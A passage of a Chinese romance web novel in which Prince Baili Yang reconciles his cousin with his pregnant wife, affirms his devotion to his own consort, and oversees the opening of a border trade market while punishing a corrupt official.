本来一切都好好,崔栋也乐意留在江都陪伴妻子。之前因为因为离渊局势动荡的缘故崔栋去了永定大营镇着,导致夫妻俩分离了将近两月。现在好不容易回来了,自该是享受夫妻团聚的温情时刻。 可惜的是,出岔子了,问题出在崔栋身上,所以他被生气的卢氏撵出家门了。 有关夫妻俩吵架的事,百里漾不可能没有听说,其实说来说起也是崔栋自己作出来的。这一路上,崔栋都找了他几回了,来来去去说的就是那些话,他有点烦他了。 “大王还是去看看吧。”颜漪察觉到百里漾似乎不想去,劝道。卢氏与崔栋吵架的事情她也知道,只是她却不好说些什么。 “行吧,那我去看看。”百里漾叹气,只好出了王驾,让初禾好生照料好王妃。 王驾之外,百里漾与崔栋并行骑马。 崔栋整个人看起来恹恹的,骑在高头大马上分明是一件很威风凛凛的事,硬生生被他耷拉个脑袋拉着一张脸给完全破坏了,整个人像是被赶出家门无家可归的可怜大狗。不对,不能说是像,除了物种不对,这厮现在的状态就是丧家之犬。 两个人谁也不说话,沉默了有一阵儿,百里漾忍不住了,“把我叫过来也不说话,要是没话说我就回去了。” “别啊。”崔栋顿时急了,生怕慢了百里漾就拍马走了,“你别一整日窝在王驾上面,下来陪陪我,说说话也成啊。这才出来多久,你就要回去。” “……”百里漾无语,看着冒了一脸青茬胡子也不刮的糙汉崔栋,听着他的哀怨口有点恶心,“你要不要听听你说的是什么话,还我陪陪你,这时候你不该好好反省反省自己么?” “我反省了啊。”崔栋嘴硬不服。 百里漾眼里带着点嘲讽觑着他,反问道:“那你怎么还是被赶出来、到这来了?” 崔栋对上那目光泄了气,垂着脑袋懊恼道:“我当时只是没有反应过来才没有第一时间拒绝她,怎么就那么巧就被撞见了。我之前跟她的确是有过一段,但那不是在去湛京之前就结束了,我绝对没有纳她为妾的意思。见她是因为她遇到了难处求上门来,若是拒绝显得我太过凉薄,谁知道她会说出那话来。但我们早就断干净了,成亲之后我一直洁身自好来着。你是我兄弟,别人不信我,你还能不信我?” 百里漾"呵呵”了,“我信你有什么用,这话你跟表嫂说去,重要的是她信你才行,她气消了你才能回家去。” “我说了呀。”崔栋也急,“但现在这样情况……我这不是没辙了么。你给我出个主意呗。” 后悔,问就是后悔。 早知道会被妻子撞见,崔栋那日就让手下人出面处理了而不是自己亲自出面了。他当然知道这些话跟百里漾说了没有用,因为对象不对。他是想通过百里漾到王妃再到妻子这样曲折的路线把话传给妻子,顺带如果百里漾和王妃能帮他求求情就更好了。 “我能有什么主意?你现在唯一的生路就是摆正态度,诚心悔过,等一段时间表嫂气消了,估计就差不多了。”百里漾说罢就掉头回王驾了,把反省的空间留给崔栋。 不一个人怎么能反省出效果。 “大王怎么这么快就回来了?”颜漪见离开没多久就去而复返的百里漾有些讶异,不由问道。而旁边伺候的初禾也很自觉地退出了王驾。 “说来说去无非还是那些话,我听着烦,让他继续一个人待着了。”百里漾进来靠着颜漪坐下,喝了一口茶润润嗓子,又说道,“他那事确实做的不妥当,表嫂生气是应当的。兴许等过一阵儿气消了,他们又能和好了。” 颜漪垂眸,“此事突然,表嫂又在孕期,情绪不稳,又容易多思多想,过一阵儿知道表兄确实无意,此事也能翻过篇去了。” “但愿如此吧。”百里漾轻叹说道。 以前崔栋与卢氏就没少吵架,但那都是夫妻之间拌嘴,没过多久就和好了。现在闹成这样,只因崔栋之前在江都有个相好,这不是重点,重点在于那相好前几日来找崔栋,崔栋私底下见了人不说,还被卢氏给撞见了,这不就捅了马蜂窝么。按照崔栋的说法,他没成亲之前确实有个相好,但那不是在成亲之前都断干净了么。 这事百里漾也知道,但更精确的版本应该是崔栋要回湛京,问人家要不要跟他一起走,被人家给拒绝了,后面两人就断了。在之后就是崔栋与卢氏成亲,以崔栋的为人,他不会瞒着卢氏这事,估计早就如实相告了,后面两人婚事能成,说明卢氏是不计较此事的。 那怎么现在又开始计较起来了?还不是崔栋跟人家拉拉扯扯被撞见了,加上两人之前又曾经有过一段,作为妻子的卢氏怎么可能不在意不多想,何况现在怀着孕又是敏感多思的时期,然后夫妻俩就吵架了。更准确的说是崔栋单方面一败涂地,被赶出了家门。 崔栋发誓自己绝对没有与那前相好再续前缘的意思,那天的事情只是一个意外。百里漾当时听着感觉这说辞像极了渣男发言,面上神情复杂,但还是听崔栋说了下去。 其实就是那次两人断了之后,崔栋成亲也收心了,两人之间也再没有了联系。那日联系上是因为那前相好的遇上了难处,走投无路之下没有办法了才找上崔栋。崔栋想着好歹两人之前好过,哪怕断了也是和平断的,眼下人家求上门了,也不好将人直接赶走,就想着听听看是什么难处,能帮就帮帮人家。 这么一帮就出大事了。 崔栋想也不想就跑去见人家,你见就见了,偏偏还是在小门见的,让人看了可不就觉得你偷偷摸摸、狗狗祟祟的么。而且还是孤男寡女的,以前还有过一腿,让人看了怎么想?卢氏收到消息时还算镇定,但赶过去正好看到两人抱在一起,那真是脸都绿了。 崔栋对此的解释是他们俩抱在一起纯属意外,他当时只是在听她诉苦,绝对没有抱人的主动意思,是对方以为他不答应出手帮助误会了,主动提出要给他做妾,情绪激动之下还崴了脚扑过来,他下意识地想要扶人才导致的。 百里漾当时听着更无语了。 怎么听起来越来越狗血了,这情节怎么这么像他前世看过的那些剧里的狗血桥段。崔栋拿了男主戏份,那相好的是女配,卢氏是女主,男主和有过前缘的女配见面被女主撞见,好一个名场面啊。 目前的状况是卢氏生着气,不想看见崔栋将他赶出家门了。崔栋理亏,又不敢再惹妻子生气,她肚子里还怀着崔家的宝贝金孙,真要是有点什么,先不说他自己如何内疚心疼,他那远在湛京的亲爹亲娘都不能放过他,都得切切实实地让他感受一回什么叫肉痛。 百里漾对崔栋无语归无语,吐槽归吐槽,可这事还是要解决啊。气大伤身,何况卢氏还是一孕妇,气多了对大人对孩子都不好。还有就是,这是不解决了,崔栋时不时来烦他一下,也是够烦人的。他还不容易能与王妃一起出行了,大好的时光他还想多陪陪王妃,结果这厮时不时就来烦一下他,还没完了。 百里漾将崔栋骂了一顿,这厮指天指地发誓自己绝对没有纳妾的心思,他才答应帮他说说情。但这事吧,他现在毕竟是一个男子,也不好自己找表嫂说情,就算是真说了难免有点身份压人的嫌疑。最好的方法还是让王妃出面为二人居中做个调和。 可百里漾不知道王妃对此是个什么看法,他也没有问过。毕竟这种事情对于这个时代的任何一个女子来说都不是好事,谁遇上都不会高兴。崔栋这个事情又是真实存在的,没有办法否认。撇开其他的不谈,作为卢氏的小姐妹,王妃无论如何都是应该站在卢氏那边的。 百里漾想着如何开口,颜漪却是先开口问道:“大王如何看待此事?” 这时候的男子尤其是有些身份的几乎无人不纳妾,特别是那些高门勋贵之家的男子,若不纳妾还会被人取笑惧内或是有那方面的问题,是以她所见过或是听过的男子成婚之后都会有妾室,即便没有妾室也会有通房,那些未成婚的房内也会有暖床丫鬟。 身处高位不纳妾的男子实在是凤毛麟角,哪怕他们现在不纳,也不能保证将来不纳。崔栋家世显赫,更是家中独子,只是在成婚之前在外面有个相好,这与绝大多数高门勋贵子弟对比起来都是无比的洁身自好了。百里漾则更是显得“奇葩”,他不仅成婚前没有,成婚后也没有。如今出了崔栋这事,让她更想知道百里漾的想法。 “这事肯定是崔栋不对,好好的去见什么人,不知道他们之前是什么关系么?”这种事情肯定是要摆正态度、表明立场的,百里漾严厉批判了崔栋一顿,“被赶出家门也是活该,绝对不能可怜他。都是要当爹的人,做事一点分寸都没有,别说表嫂生气,我也生气。” “大王是真觉得表兄此事做的不妥?”颜漪只反问道。 百里漾没想到王妃还能疑他,不乐意了,“虽说我与他是自小一块长大的,但这事帮理不帮亲,我如何能站到他那边去。” 他想到远在湛京的舅父舅母知晓儿媳怀孕后乐坏了,一面去信给崔栋耳提面命地要他照顾好自己卢氏和未出世的宝贝孙孙,还将稳重的仆妇以及经验丰富的优质稳婆若干派到江都来了,一面又写信给他,让他帮看着点崔栋,别让这厮犯浑。 只能说知子莫若母,崔栋还真的犯浑整出事来了。 百里漾郑重申明,“断就断个干净,藕断丝连的像个什么样子。如今表嫂正怀着孩子,崔栋更是罪加一等。” “可表嫂怀孕期间是不能照顾表兄的。”颜漪没有多说,但她知道百里漾听得懂。她抬眸直视百里漾的眼睛,想要透过眼睛看到他的内心。 高门勋贵之家,即便是新婚,可若是妻子怀孕了,为了不使丈夫无人伺候,妻子或主动为丈夫纳妾或由家中长辈安排人纳妾。崔栋这事,放到那些高门勋贵家中根本算不得什么,卢氏的举动还会被斥为是不贤淑、骄横善妒。 可是百里漾似乎并没有这个想法,从他的话可以看出他在此事上的态度更倾向于丈夫应该照顾怀孕的妻子,而不是怀孕的妻子还要想办法找人来替自己照顾丈夫。 “舅母来信可是说让我督促表兄好生照顾好表嫂的。”百里漾从并不觉得妻子非要照顾丈夫,婚姻中的两个人不应该是相互照顾的么- 作者有话说:更新啦,能不能有哪位智慧又好心的小天使帮我取一下女宝的小名和大名,我真是个取名废啊。[求你了] 第147章 抵达远宁城 百里漾也知道这种想法在当下他所处的时代以及阶层里是格格不入的, 他管不了别人怎么想,别人也别管他怎么想。他愤然道:“丈夫将为自己孕育子嗣的妻子扔在一旁只管自己风流快活去了,此等行径实在为人所鄙。” 他这也是再次表明了自己不会在妻子孕期往王宫里收人的立场。本来一切都好好的, 谁叫那些言官谏官吃饱了撑的没有事情干上疏给他,说什么他至今膝下空空,为百里氏计、江都计,当纳入新人,绵延子嗣。 这种奏疏就跟雷一样, 摸起来都觉得烫手, 偏偏你在打开之前是不知道里面写着的是什么的。更要命的是他打开的时候王妃就坐在旁边, 他看奏疏的异样轻而易举地就被王妃发现了,然后奏疏就更烫手了, 等王妃凑过来看见奏疏上面的内容时,感觉要炸啊。 可王妃没有炸, 她神色甚至都没有丝毫的变化,无比温柔地将案上的奏疏给他合上摆好, 在百里漾看向她的时候还回以一笑, 笑得他心里有点发慌发颤。 以百里漾的经验, 奏疏里出现一个“雷”,后面就肯定还有。果不其然,他之后在那一摞的奏疏找到了将近十本用不同的措辞劝他广开后宫的。他给气笑了,后面看了这些人都是谁。有纯粹是为了他的子嗣着想让他纳新人的,这种就先放过了,但有些怎么看都是不怀好意,还是世族出身的人,一看就是来挑拨他与王妃之间感情的,毫无疑问, 这些都是看不得他和王妃好的人。 百里漾心里给那些人狠狠地记上了一笔,日后有机会再与他们算账。 眼下重要的是不能让王妃多想,误会他生出了花花肠子怎么办?他想找机会解释来着,可是这事好像在王妃那里翻了篇,更似什么都没有发生,让他心中略为不安。再之后又发生了大衍与离渊盟好、江都要开设榷场的事情,忙着忙着他就把这件事暂时抛在脑后了,谁知道后面又发生了崔栋见前相好的事情,怎么感觉这一件接一件的都不是什么好事呢。 “王妃放心,我前头定没有相好的,那些奏疏我也都不理会的。”百里漾挨到颜漪身边,蹭蹭蹭地靠在她的怀里,颇有种“小鸟依人”的乖巧感,偏偏他体格不小,差点将颜漪蹭倒。 “好了,我知道大王是没有那个心的。”颜漪心头微微发软,轻声道。她让百里漾坐好,这王驾里的空间毕竟有限,这人身高腿长的,蜷着也不觉得难受。 不得不承认,颜漪在看到那些劝谏百里漾纳新的奏疏时心中确实不舒服。倘若是初成婚时的她对此不会有什么感觉,她就没有想过让江都王一辈子只守着她一个人过。然而嫁给百里漾之后,几乎所有的一切都显得那么的舒心与美好,让她逐渐沉浸在其中。 百里漾很好,他温柔、体贴,处处为她挂心,她平生从未见过哪一个男子如同他这般能如此设身处地地为自己的妻子着想,更多的时候他是将她看做他的妻子而不只是江都王的王妃,从而使他们的婚姻从一开始就是温暖的,而不是冰冷的天然带着尊卑主从的关系。 百里漾是良人,他是女子所能想象到甚至想象不到的良人的化身。颜漪确信这世上没有比他更好的夫君了,甚至她还见到了他一些鲜为人知的有趣乃至可爱的一面,就不想让其他的人也见到。 颜漪是贪心的,百里漾也纵容了她的贪心,让她的贪心已经膨胀到想要独自占有他这个人,可现实的情况总是时不时跳出来给她一击。 觊觎百里漾的人实在是太多了。他的身份,他的地位,他的将来让不知道多少女子前赴后继。她很难让他只属于她一个人,至少这决定权至今不在她的手里。有太多的人盯着百里漾身边的位置了,她能相信且依赖的只有百里漾的承诺。 颜漪从未有如此患得患失过,可遇阻退缩不是她的风格,她更喜欢的是迎难而上。况且她也应该给予百里漾足够的信心,她始终觉得他是不一样的,这也是相信自己的眼光,不是么? 百里漾并不知道自己的王妃在这一段时间里想了些什么,他觉得纳新这事自己应该是过关了。王妃看他的目光实在温柔如水,让他不自觉想要溺毙在里面。 话归正题,崔栋的事情还没有解决呢。 “大王是想让我去与表嫂说说好话?”颜漪笑问道。 “他也忒烦人了,这分明是赖上我了。”百里漾横眉竖眼先是骂了崔栋一顿,然后又朝王妃讨好笑笑,带着点请求,“可总不能让他一直在跟前晃。表嫂那边也不好一直气着,给他一个机会,让他认错,实在不行就跪搓衣板,跪到表嫂消气为止。” 夫妻俩还是要过下去的,也不好一直僵着。以崔栋的为人,虽然有时候犯点抽抽,但轻重缓急他还是拎得清的,即便真要有那花花心思也不会在卢氏怀孕时闹出来,这点分寸他还是有的。 百里漾不敢保证土生土长的“土著人”崔栋对卢氏能够从一而终,但对妻子的尊重他是不会缺的。崔栋若是真的想要纳妾,他也只会先告诉卢氏,而不是偷偷摸摸被撞破了才让卢氏知道。 颜漪眉眼笑意不减,“大王焉知表嫂不是已在家中等着表兄回去呢?” 卢氏气固然是气的,但事情也要查清楚了。小门那次的确是崔栋成婚之后与那前相好头一回相见,那女子也是走投无路才求到了崔栋头上,崔栋没有说谎。卢氏那会儿主要是乍见两人抱在一起的那一幕冲击太大,崔栋一开始又说不明白,夫妻俩才吵了一架,崔栋就被撵出来了。问题是崔栋还是木桩脑袋,赶他出来他就真的跟来边境了。 百里漾惊喜,“是这样的么?”再看王妃神色,是真的无疑。他立即起身要出王驾,“那我现在就同他说去,让他赶紧回去。” 回去哄老婆,别来打扰他与王妃的二人世界了。 百里漾出了王驾,叫人唤来崔栋,告诉他卢氏在家中等他。崔栋先是大喜,随即狐疑,“你该不会是想诓我走才这么说的吧?” 你也知道自己烦人啊。 百里漾暗暗翻了个白眼,面上一脸不耐,有种被质疑的愤怒,“不信就算了。这趟边境之行少说也一两月,你愿意等嫂子彻底气消再回去也可。” 说完百里漾扭头就要走,崔栋赶紧扯着他的袍角,说好话赔笑道:“别别别,五郎,是我不知好歹了。谢了兄弟,我这就回去。” 崔栋惦记着家里妻子,得了这话如蒙大赦,带了一小队人骑马“哒哒哒”地回江都郡城去了。百里漾很是欣慰,终于将这个哀怨烦人鬼送走了,再没有人在他耳边“叨叨”个没完了。 王驾出行,仪仗浩大,随行甲士便有上千,还有车马,行程上慢些,花了将近五日才抵达远宁城。新上任不到半年的镇城将军率众出城迎接,至于上任则是带着他那一干为非作歹、不干人事的亲戚下属到底下阎王爷处报到了。 从进城开始,百里漾便掀开帘子往外看,一路之上看到的景象令他颇是欣慰。城门处秩序井然,披坚执锐的守城卫兵身子挺拔昂然,目光坚毅,临时凑数是凑不出来这种效果的。 至王驾入城,兵卒持戟将街道中央隔开,两侧百姓皆拜伏相迎,但也有胆子大的仰着个脑袋、伸长脖子想看看王驾还有王驾里的大王和王妃长什么样子。更有四五岁小孩不知道发生了什么,父母拉着他跪下后自己又爬起来,愣愣地盯着一群人中最大最显眼的王驾看。 百里漾看到了那小孩,是个肤色有点黝黑、头发特别炸的小男孩,一大一小的目光对视上,他还冲小孩笑了一下。小孩愣了一下,也咧开嘴巴笑,露出缺了一颗门牙的牙口。他的父母才发现孩子是站着的,赶紧拉着他跪下,小孩指着王驾说:“车里面有个好看的哥哥。” 他的父母没有多想他说的是什么人,只低声让他老实跪着。 “大王看着心情颇佳。”颜漪看到百里漾眉眼间的愉悦,不由说道。 百里漾没有否认,一手掀开帘子让王妃也看看外面,一手指着外面的人说道:“这新的镇城将军颇有些本事能耐,不到半年就将远宁城治理得焕然一新。我上回来时只觉得此处压抑沉闷,行人脸上是没有笑容的。如今大不一样了。” 之前的远宁城叫前任镇城将军一干人等搞得是乌烟瘴气,生活在城中的人大多都是他们压迫的对象,心中有苦有怨无处伸展,郁结之气长期积于胸,面上即便带笑也抹不掉底色的愁苦,让人看着心情也沉上一分。 可现在,大家的衣着依旧朴素,有些人脚上踩着的还是草鞋,可看他们的面貌就是能够感觉到他们身上是松快的,,没有恐慌苦色,精气神都是好的。 一个人的精神面貌是很难伪装的,即使一个人能够伪装骗过人眼,可是一群人是做不到没有一点破绽的。 颜漪笑道:“既如此,大王之后可要招来好生褒扬。” “那是自然。”百里漾颔首,“有功之人自当奖赏。” 外面的镇城将军还不知道自己即将得到来自大王的褒扬与奖赏- 作者有话说:更新啦,求评论[可怜] 第148章 榷场 百里漾和颜漪这次在远宁城临时居住的地方是原镇城将军府。原先那贪得无厌把自己吃得满肚子流油的货将自己的宅邸修成了整个远宁城最大最阔的建筑。前镇城将军被查抄家产之后, 新镇城将军不敢自己住进去,这座宅邸就被闲置空了下来。 这次大王与王妃来边境巡察,镇城将军便令人将宅邸打扫清理出来, 添置了一些东西进去,作为二人的临时下榻之所。 百里漾和颜漪进入宅邸之后,左右伺候的侍人在初禾的指挥下将两人带来的衣物用品等分门别类摆放归置好。 见天色还亮,百里漾就想着在宅邸里四处走走看看,毕竟他们少说也要在这里住上一两月的, 若是发现缺什么就立即叫人去添置, 省得要用的时候没有怪不方便的。 “大王何处去?”颜漪见百里漾抬脚就要往外走, 叫住了他。 百里漾说了自己的意图,被颜漪拦住了, 一手轻抚上他的额头,上面已冒出细密的汗水, “大王一路过来都不知道累的么?” 百里漾握住王妃的手,笑得满足, “我尚好, 倒是你, 一路颠簸怕是不好受。宅邸中已备好了热汤,王妃可去沐浴,洗洗乏。” 周围都是人,两人姿态便如此亲昵。颜漪依旧羞涩却没有将手抽出,也不让百里漾走,“这些事情令下面人去办就是。大王一路亦劳顿,当务之急是好生休息养回精神,以后时间还长,不急于一时。” 王妃是心疼他。百里漾心里美了, 自然是一切都听颜漪的。他们各自美美地洗了一个舒服澡,饭食也适时摆上了。用了饭之后,困意上来了。百里漾懒洋洋地倚在靠椅上撑着下巴眯着眼想了一会儿,叫人去回了镇城将军那些人,叫他们不必来拜见了。 抵达远宁城的第一夜,百里漾怀里拥着颜漪饱饱地睡了一觉,养足了精神,第二日神采奕奕地去见了镇城将军以及专程从永定大营过来拜见他的军将们。 赶来拜见的官员和军将们都知道江都王短期内再临边境所为何事。开设榷场是大事,以往日江都王的行事作风来看,他会重视是可以猜测得到的,可很多人没有想到他会亲自前来督办此事。 问题是自己来了还不算,将王妃也一并带来了,让大家有点摸不着头脑了。一开始大家伙觉得大王是个事必躬亲的主,那他们在下面做事就不得不提起精神、多出几分谨慎,有些更是心有惴惴,有点什么心思都收起来了,可现在又不太确定了。 可王妃既然来了,那理应拜见。 官员和军将们在拜见百里漾之后提出要拜见王妃,被他拒绝了。百里漾并不想让这些人打扰到颜漪。今日同意拜见,赶明就有这个那个的家中女眷要来拜见王妃,见了一个就不好不见下一个,光是应付这些人就足以耗掉大部分的时间了,王妃何来清闲舒适。 目光往堂中一扫,边境地位重要之人都来了,百里漾便直入正题,说了强度要开设一处榷场之事,又有若干布置一一列出,令被提及之人遵照而行,不得有误。在场之人听他安排人与事,一项项一条条分明清晰、前后有序,心中一揣摩便知开设榷场一事早在之前就在郡城那边议出了章程,于是皆不敢有违,口称“遵令”。 由此之后,百里漾便马不停蹄地开始忙活起开设榷场的事情。边境官员和军将们见他连接风洗尘都免了就风风火火地办事,一个个也都不敢轻忽懈怠,皆是无比积极地干活。 一忙起来的百里漾不怎么见人影了。一开始的几日还能每日回来陪颜漪用个膳困个觉什么的,后面就变得来去匆匆,再到后面更是三五日了才见一回人。对此,百里漾很是歉疚。明明说好了是带王妃出来领略一番边境风光的,结果一直将人扔在了远宁城之中。 颜漪倒不觉得有什么,她摸了摸百里漾冒出了点胡青的脸,感受着那一点刺挠的触感,安慰他,“大王正事要紧,也不是因为别的将我留在这里的。我亦可在城中四处转转,不会觉得无趣。” 尽管在外奔波忙碌,百里漾也没有忘了待在远宁城里的她,有时候深夜也要回来只是为了见她一面,再陪她用个早膳,之后才又匆匆离开。这种被人时刻记挂在心里的感觉,颜漪觉得很好。可这般来回不可谓不辛苦,她也心疼百里漾,让他先专注开设榷场的事情。 “至多不过五日,我便能撒开手让他们去办剩下的事情了。”这趟百里漾回来,整个人显得轻松了不少。 虽说这开设榷场之事对于大衍来说是头一回,可对于中原王朝来说不是,前朝亦有先例,也有遗留下来的与之相关的文献记载,他们有个参照再结合实际情况做适当调整不会有太大的问题。可前期的准备工作总是繁琐的,一些细节要不停地去修改推定。眼下就是细节修改得差不多了,一整个完整的章程也建立起来了,剩下的就是让底下的官员去推进的事了。 到那时,百里漾只需要起到督办的作用就行了,所以他才说自己能撒开手,闲下来了。 “不若我叫人来与你说说边境的风土人情,你看看有什么感兴趣的便领着人去。”百里漾提议道。 颜漪自是说好。 这次也是百里漾入夜了才赶回来的,不过好的一点是他明日可以午后再出去。夜里,两人躺在床榻上,微微闭着眼睛与颜漪说他最近推进榷场的进度、遇上了什么问题、解决了还是没有解决。他很喜欢与颜漪说这些,不仅是颜漪有时候会给出独到且有效的建议,还是因为他喜欢将自己的“工作”与生活一起分享给她。 可遗憾的是很多时候他不能带着王妃一起参与他的“工作”,否则那些顽固守旧的言官谏臣就要依依妖妖了,不是骂他颠倒阴阳、恣意妄为就是骂王妃不贤不惠、逾越本分、阻扰王事,帽子是一个扣的比一个大。 那帮人的嘴还真的是很能说,骂人不仅不带脏字还不重样,你不搭理他们,他们不干,觉得你轻视或是无视他们;你搭理他们,他们便越来劲,极为烦人。偏偏百里漾还不能真的对他们怎么样,总不能因为被骂了两句就把人拖下去砍了吧。 如果是这样的话,甚至都不用叫人来拉人,他们自己就能激动地撞柱子。要知道,能够做言官谏臣的很多都是耿直死脑筋的犟种,死他们压根不带怕的,文臣死谏,撞柱而死得一个青史留名的好名声,那是他们很多人毕生的追求,求之不得的事情。 百里漾拿他们没有办法,只好尽量不去“招惹”他们。 颜漪躺在百里漾的怀里,听着他说那些事,很有一种安心的感觉。她很喜欢这种与百里漾之间的相处方式,她能够明显的感觉到自己不是被“防着”的,她可以进入到百里漾这个人生活中的每一个方面,乃至角角落落,她的位置并不是仅限于替他打理后院之中的事情。 他的快乐忧愁,他遇上的困难阻碍,他得到的荣誉光辉,她都能够与之共享分担。 “有些人的胆子真是肥到令人难以想象。榷场如今连个框架都还没有搭起来,他们就已经开始收钱了。开价还是天价,一个名额便敢张口要二百金。”说起这事,百里漾气呼呼的,腮帮子也鼓了起来,里面还有点磨牙,像个受了气的大孩子。 榷场是为了大衍与离渊的贸易而开设的,但它又不同于一般的市集,所有的贸易买卖都要在官府的眼皮子底下进行。什么人能入场、买卖的货物是什么、每次的量是多少、每单抽多少税……一切都要遵照官府划定的范围进行。也因此,管理榷场的官员就拥有了对这些的权力。 百里漾所说的“名额”是指大衍商人入场买卖的资格。按照章程规矩,有做榷场生意的需要向官府投递帖子,说明自己的来历背景、买卖种类等事项,官府则在审核之后决定这个商人能不能入场、入场后税率是多少。 边贸利润向来极丰,即便是在之前边关动荡、战乱不安的时候依旧有商人愿意为了这丰厚的利润铤而走险,更别说开设榷场之后。一个商人愿意出二百金买一个入场资格,这资格还是只有三年时限的,说明他能够在后面三年的榷场买卖之中获取到比这二百金更大的报酬。 颜漪道:“自古财帛动人心,巨大的利益足以令人铤而走险。” 行贿与受贿从来都是双向并存的,这种事情能够一直存在就是因为双方都能够获得利益。没有好处的事情是不会有人愿意做的,只能说这种事情的发生并不那么令人意外。 可百里漾依旧是愤怒,“不过一小官,短短一月的时间久卖了五个名额出去。一千金,这赚钱速度就是天下第一豪商都要自愧不如。” 这小官手上握有的仅仅是一点审核入场商人资格的权力,竟敢如此大肆敛财,实在是有点超乎百里漾的想象,以至于他初听闻时还不太相信,觉得数字恐怕是往上虚报了。等后面从那小官家里抄出黄澄澄的上千金时,他的眼睛有被刺到。还不是一千金,在他被人告发的这段时间里,他又卖了一个出去,拢共是一千二百金- 作者有话说:更新啦。 第149章 奇遇 “榷场初设, 各项还不完善,总会有人想钻漏洞的,一一揪出来便是。有眼看的人看到了大王的态度, 行事多少也要知道注意分寸了。”颜漪轻声说道,“是那些人过于贪心,大王已经做得很好了。” 得到了亲亲王妃地安慰,百里漾的心情好多了,他渐渐平静下来, 叹了一声, “我只是没有想到前段时间的事情才刚过去, 他们便又搞出了这样的事情。” 百里漾不是很能明白,前段时间江都查抄贪墨受贿之事里那些被杀得滚滚落地的人头还不能令他们警醒胆寒的么?这才多久就又故态复萌。想来想去只能归结于人都是有侥幸心理的, 也是金子的魅力太大,让他们一个个都控制不住自己的贪欲之心。 这事也给他提了一个醒。榷场涉及的利益太大, 那小官不是第一个动心伸手、以权谋私的人,也不会是最后一个。要避免这个问题光靠那些官员自我约束是不可能的, 一个人面对一锭金子可以不动心, 那么十锭、百锭乃至千锭、万锭呢?没有人能够完全保证, 还是要有配套的有效监察机制才行。 有约束,才不至于泛滥。 因为小官卖入场名额之事产生的郁闷很快散去,给那个小官安排了砍头抄家套餐之后,百里漾在用人方面更加审慎了,之后又在榷场之外另设了一个监察处,其内任职的人员全部挑选身家清白、人际利益关系与江都牵扯不大之人。 百里漾并没有在明面上宣布这些监察处的人员都有谁,只是当众说了有这么一个衙门,职责范围就是负责监察发生在榷场之内的不法之事,监察处会定期将监察到的信息直接报给他, 无需经过任何人。 此话一出,不少官员与军将们的面色当即就变了。也就是说,监察处的那些人就像是隐藏在暗地里的一双双眼睛,无时无地不在盯着他们。一旦他们做了什么不好的事情,监察处一经发现就会将情况直接报告给大王,而他们在整个过程之中很有可能什么都察觉不到。 有些人的表情差点没绷住,但是冷静下来仔细想想,监察处负责监察的范围也仅限于与榷场有关,出了榷场就不归他们管了。大王此举显然是因为之前那个小官买卖入场名额的事情弄出来的,用意也一目了然。 想明白之后,许多人的心也稍稍安定了下来。只消他们不对着榷场伸手就是,为那么些钱将自己的前途以及身家性命搭进去显然不值当。且从之前查抄贪墨以及如今成立监察处之事来看,他们这位大王对此类事情是极其厌恶的。 所谓上有所好,下比甚焉;上若有所恶,下面的有小心思就得好好缩着了。况且如今的大王大权在握,他想要做什么已经没有人能够反对了。 尽管前面出现了一点小波折,但后续榷场的推进还是平稳有序地进行下去了。百里漾派了亲信替他去督办此事,自己也算是清闲下来,想着陪王妃在边境转一转,看看边境的风光。 百里漾结了榷场这边的事情后赶回远宁城寻王妃,在下榻的宅邸里找了一圈却始终看不到王妃的踪影,他只好找人来问,得到回答说是出门去了,具体去哪并没有说,只说是在城中随意转转。 满腔欢喜回来寻人没见着,百里漾心中难免有一点小小的失落,不过谁叫他回来之前没有提前递消息,扑空了也是自己的问题。本来想给王妃一个惊喜的,谁知道到底还是没有给成。百里漾听到说王妃带足了护卫才出去的,心下也稍安。 本来他是想出门去寻王妃的,可得知王妃出门已有一段时间了,想了想还是决定先沐浴更衣,洗了这一身奔波带来的尘土,让自己变得干净清爽,在宅邸中等待王妃回来。时间也巧得很,等他把自己洗得香香白白,换上了干净衣服之后,有人来通报告诉他王妃回来了。 百里漾喜得直接抬脚去后院寻人,谁知又扑了个空,后面跟上来的人赶忙解释说王妃确实是回来了,只不过不在后院而是在前院的花园之中。他随即转身又抬步往花园去。这回倒是见着人了,不过情况与他想的有些不太一样。 花园之中,一道丽影正持剑而舞。 她手上的剑是一般形制的三尺长剑,算不上轻盈也没有很厚重,被持在一只纤长白皙的手上,因为持剑施加的力度使得它筋肉略为凸起,展现出一股别样的力量感。初时她舞剑的动作并不灵活,招式与招式之间的连接略显生涩。可随着挥剑的时间变长,那种生涩便逐渐消弭,那剑如臂指使,灵活得仿若长在手上似的。 剑式亦凌厉,并非是好看的花架子,力量与速度结合隐有破空的飒飒声,雪白的剑身反射出刺眼的剑光,逐渐快速交织成一片密集的光网。周边树上飘落的花叶在半空之中被剑式搅动的气流裹挟着随剑舞动,远看就仿若是花叶在围着那人在转动似的。 舞剑毕,颜漪收剑,长长吐出一口浊气。 “啪啪啪。” 旁边全程星星眼的初禾还没有来得及鼓掌,旁边就已经有人先她一步鼓起了掌,声音浑厚响亮,一听便知道鼓掌之人手部极有力量。扭头看去,竟是大王,于是初禾行礼拜见。 百里漾此刻的注意力分不到一点在初禾身上,他眼睛亮晶晶地看着颜漪,里面满是惊艳,脸上扬起灿烂的笑容,快步小跑到颜漪身边。他还抢了初禾的活儿,从袖子中掏出手帕亲自给颜漪擦掉光洁额头上冒出来的汗珠,真诚地赞叹,“好看,看着也尤为厉害。” 见此情景,初禾很识趣地退远了。 颜漪见百里漾突然出现也颇为惊喜,又听得他夸赞有些不好意思,“只是练了几日,并不能算是好。” “怎会,方才我都看了,很有女将军的风采。”百里漾回想着方才见得的情景,快笑得见牙不见眼的,但他很快捕捉到王妃话里的字眼,眨了眨眼睛,“练了几日么?” 看来在他不在的这几日发生了一些事情。 百里漾记得王妃曾同他说过她在未及笄之前是学过剑的,只是后来没有再学了。他当时还觉得可惜,还说过有机会要给她寻一个剑术师傅回来。剑是君子器,而军中多用刀和戟这样的长兵器,能将刀和戟挥舞得虎虎生风的好手他能从军中找到一大把,但剑术使得好又合适的人选他暂时找不出来。 看样子似乎是王妃这几日找到了高手? “大王忙完榷场之事了?”颜漪看着百里漾问道,眼眸中溢出笑意来。她本以为百里漾少说也要再过两日再回来,没有想到他今日便出现在她面前了,且看他的模样还是已经沐浴更衣过了,想来是榷场的事情推进得很顺利,让他能够提前回来了。 “是,我使傅殷在那里盯着了。”百里漾回道。这次开设榷场他把傅殷也带来了,经过了前段时间清查贪墨之事,他发现傅殷还是个全能型的干才,很多事情交到傅殷手上都能有个令人满意的结果,一些事务即使傅殷一开始并不熟练,但也能很快上手。 